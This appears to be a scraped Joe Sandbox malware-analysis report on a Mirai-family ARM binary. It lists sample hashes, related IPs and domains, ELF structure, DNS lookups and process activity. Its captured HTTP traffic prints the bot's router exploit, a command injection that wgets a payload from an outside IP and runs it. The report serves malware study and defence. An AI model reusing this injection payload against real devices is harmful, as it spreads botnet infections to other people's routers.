197.206.163.90	bk.x86-20221002-0023.elf	Get hash	malicious	Mirai	Browse
41.121.172.253	x86.elf	Get hash	malicious	Mirai	Browse
41.121.172.253	D6irtvAIsq	Get hash	malicious	Mirai	Browse
197.67.168.157	P1sYDU1Ihc.elf	Get hash	malicious	Mirai, Moobot	Browse
	LbxORYpQrE.elf	Get hash	malicious	Mirai, Moobot	Browse
	nJvUZj3otV.elf	Get hash	malicious	Mirai	Browse
157.105.123.62	66Vbw4FpYb.elf	Get hash	malicious	Mirai, Moobot	Browse
197.67.29.125	9uRZoy7BB9.elf	Get hash	malicious	Mirai	Browse
197.67.29.125	Y7or5MdEHm	Get hash	malicious	Mirai	Browse
157.168.229.26	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
197.136.200.51	yR28mIJkTh.elf	Get hash	malicious	Mirai, Moobot	Browse
197.136.200.51	ak.arm4-20220923-0709.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	sora.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm4-20231216-1307.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm5-20231216-1307.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm6-20231216-1307.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mpsl-20231216-1307.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	x86_64-20231216-1307.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mips-20231216-1225.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	x86-20231216-1225.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6-20231216-1225.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm4-20231216-1200.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6-20231216-1200.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	bot.arm6-20231216-0602.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	crond.arm7-20231215-2201.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm4-20231215-1038.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm5-20231215-1038.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	p2rjFXHri1.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.25
	1pMJh4ED0A.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.25
	xw9AUdr61d.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	H3DyVfIk6D.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.25
cumshot.vip	nig.x86.elf	Get hash	malicious	Mirai	Browse	93.123.85.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATT-INTERNET4US	nig.arm7.elf	Get hash	malicious	Mirai	Browse	12.42.125.70
	x86-20231216-1307.elf	Get hash	malicious	Mirai	Browse	45.19.100.22
	mpsl-20231216-1307.elf	Get hash	malicious	Mirai	Browse	157.234.194.15
	x86_64-20231216-1307.elf	Get hash	malicious	Mirai	Browse	108.224.162.170
	mpsl-20231216-1226.elf	Get hash	malicious	Mirai	Browse	12.134.125.202
	x86_64-20231216-1226.elf	Get hash	malicious	Mirai	Browse	12.118.7.46
	mips-20231216-1225.elf	Get hash	malicious	Mirai	Browse	99.182.96.138
	x86-20231216-1225.elf	Get hash	malicious	Mirai	Browse	107.214.12.179
	arm7-20231216-1225.elf	Get hash	malicious	Mirai	Browse	12.73.222.181
	https://nopqr.harveric.ru/hv44g3ya/	Get hash	malicious	HTMLPhisher	Browse	69.152.183.140
	SyD1FiOG1p.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	45.27.200.5
	https://www.ccsfin.fr	Get hash	malicious	Unknown	Browse	13.39.212.91
	https://acqsdasabm.edwhi.ru/x668/	Get hash	malicious	HTMLPhisher	Browse	69.152.183.140
	arm5-20231215-1038.elf	Get hash	malicious	Mirai	Browse	12.0.193.165
	arm7-20231215-0918.elf	Get hash	malicious	Mirai	Browse	13.184.52.175
	https://user-app.sentieo.com/alert/alert_click/?tp=eyJlbWFpbCI6ICJoYXJ2ZXlAY3Jhd2ZvcmRsYWtlY2FwaXRhbC5jb20iLCAidGlja2VyIjogInNlIiwgIm1ldGFfdHlwZSI6ICJkb2N1bWVudCIsICJhbGVydF90eXBlIjogImRzX2FsZXJ0X3NtYXJ0X3N1bW1hcnkiLCAibGlua190eXBlIjogImFsZXJ0X3R5cGVfdW5zdWIifQ==&url=//get-razzed.co/bxvsg/ieuey/Wnswphn/Y29tbXVuaWNhdGlvbnNAd25zd3Bobi5vcmcuYXU=	Get hash	malicious	HTMLPhisher	Browse	69.152.183.140
	x86-20231215-0039.elf	Get hash	malicious	Mirai	Browse	99.148.25.230
	x86-20231214-2132.elf	Get hash	malicious	Mirai	Browse	65.66.253.179
	arm7-20231214-2132.elf	Get hash	malicious	Mirai	Browse	172.173.42.60
	GenOJdFvy7.elf	Get hash	malicious	Mirai	Browse	107.131.217.164
MTNNS-ASZA	nig.arm7.elf	Get hash	malicious	Mirai	Browse	197.66.206.96
	nig.x86.elf	Get hash	malicious	Mirai	Browse	41.195.197.52
	arm4-20231216-1307.elf	Get hash	malicious	Mirai	Browse	197.71.160.150
	arm5-20231216-1307.elf	Get hash	malicious	Mirai	Browse	197.77.12.112
	x86-20231216-1307.elf	Get hash	malicious	Mirai	Browse	41.124.3.102
	mpsl-20231216-1307.elf	Get hash	malicious	Mirai	Browse	41.118.92.160
	x86_64-20231216-1307.elf	Get hash	malicious	Mirai	Browse	197.65.232.158
	arm7-20231216-1307.elf	Get hash	malicious	Mirai	Browse	41.127.111.245
	mpsl-20231216-1226.elf	Get hash	malicious	Mirai	Browse	41.118.202.179
	x86_64-20231216-1226.elf	Get hash	malicious	Mirai	Browse	41.127.109.118
	mips-20231216-1225.elf	Get hash	malicious	Mirai	Browse	41.121.188.190
	x86-20231216-1225.elf	Get hash	malicious	Mirai	Browse	197.68.221.129
	arm7-20231216-1225.elf	Get hash	malicious	Mirai	Browse	197.66.131.237
	arm4-20231216-1200.elf	Get hash	malicious	Mirai	Browse	197.78.72.49
	arm5-20231216-1200.elf	Get hash	malicious	Mirai	Browse	197.73.123.112
	arm4-20231215-1038.elf	Get hash	malicious	Mirai	Browse	197.78.196.15
	arm5-20231215-1038.elf	Get hash	malicious	Mirai	Browse	41.114.108.208
	x86-20231215-0918.elf	Get hash	malicious	Mirai	Browse	197.71.156.25
	arm7-20231215-0918.elf	Get hash	malicious	Mirai	Browse	197.73.244.16
	arm7-20231215-0039.elf	Get hash	malicious	Mirai	Browse	197.74.23.142

Process:	/tmp/nig.arm4.elf
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:Tgo80J5T1N:Tgo80J5T1N
MD5:	C0DCF9109D94E544BFF68513B452857A
SHA1:	65B2737C2BDE2436B81891CE83B3A4E71F14AB03
SHA-256:	65DEA5231356E8C602EE8B4347699A2BDF5A2E33ECB6C4AAE87A5EC5675C73BC
SHA-512:	2E3B4CF27AFE9283E2FEAFF2FB9C7359FE71B7760EAC9D8027DA298CF3273E4E4341D2A908798A75393895796E3F739B3C72291C574B9E71FCE69DFEDCEF01BC
Malicious:	false
Reputation:	low
Preview:	/tmp/nig.arm4.elf./tmp/nwlrbbmqbh

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.9319506366775805
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nig.arm4.elf
File size:	87'672 bytes
MD5:	c7e1090a1b9a8e38f2ab5384bd67bed6
SHA1:	71b2da0903952abd9417d14b59e8434486f3d90e
SHA256:	3b7b51e6d96097d016b4da0fae26d3fa738c6d601de46c30676afe0a7278b100
SHA512:	0de90a9eb0edfaaaa2069de6a8016cdf8288afee2c79f9f60e72618877db4a4441dfa82ecdeeac6ca342db5d7514ff2ab70dc1e5e4a3ae9cf434e56d15b4af84
SSDEEP:	1536:O61qdGir0QAQhR7ShxCD13EsgSKXNOpsKYcik4uvKvncD:O61L8muZ3Esg77FfV2
TLSH:	E7832981BD819613C6D512BBFB5E028D372613A8D3EF32079D266F20378B92B0E77655
File Content Preview:	.ELF...a..........(.........4....T......4. ...(......................P...P...............P...P...P......X...........Q.td..................................-...L."....H..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	87272
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x12374	0x0	0x6	AX	16
.fini	PROGBITS	0x1a424	0x12424	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1a438	0x12438	0x2c5c	0x0	0x2	A	4
.ctors	PROGBITS	0x25098	0x15098	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x250a0	0x150a0	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x250ac	0x150ac	0x3fc	0x0	0x3	WA	4
.bss	NOBITS	0x254a8	0x154a8	0xa248	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x154a8	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x15094	0x15094	5.9583	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x15098	0x25098	0x25098	0x410	0xa658	3.0864	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2023 06:03:46.003443956 CET	192.168.2.13	8.8.8.8	0x26f7	Standard query (0)	cumshot.vip	A (IP address)	IN (0x0001)	false
Dec 18, 2023 06:03:47.751238108 CET	192.168.2.13	1.1.1.1	0xb365	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 18, 2023 06:03:47.751291037 CET	192.168.2.13	1.1.1.1	0xd771	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 18, 2023 06:03:46.194333076 CET	8.8.8.8	192.168.2.13	0x26f7	No error (0)	cumshot.vip	93.123.85.35	A (IP address)	IN (0x0001)	false
Dec 18, 2023 06:03:47.876790047 CET	1.1.1.1	192.168.2.13	0xb365	No error (0)	daisy.ubuntu.com	162.213.35.24	A (IP address)	IN (0x0001)	false
Dec 18, 2023 06:03:47.876790047 CET	1.1.1.1	192.168.2.13	0xb365	No error (0)	daisy.ubuntu.com	162.213.35.25	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2023 06:05:12.408078909 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 18, 2023 06:05:14.029109955 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 18, 2023 06:05:14.342899084 CET	491	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Mon, 18 Dec 2023 05:05:26 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Start time (UTC):	05:03:44
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	/tmp/nig.arm4.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:03:49
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:03:50
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:03:52
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:03:57
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:03:59
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:04:02
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:04:12
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:04:17
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:04:27
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:04:37
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:04:42
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:04:52
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nig.arm4.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.xf6YOi (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: nig.arm4.elf PID: 5421, Parent PID: 5347

General

Chronological Activities

Analysis Process: nig.arm4.elf PID: 5424, Parent PID: 5421

General

Chronological Activities

Analysis Process: nig.arm4.elf PID: 5426, Parent PID: 5424

General

Chronological Activities

Analysis Process: nig.arm4.elf PID: 5427, Parent PID: 5424

General

Chronological Activities

Analysis Process: nig.arm4.elf PID: 5429, Parent PID: 5424

General

Linux Analysis Report
nig.arm4.elf

Start time (UTC):	05:04:59
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:07
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:12
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:17
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:22
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:29
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:37
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:42
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:44
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	05:05:47
Start date (UTC):	18/12/2023
Path:	/tmp/nig.arm4.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1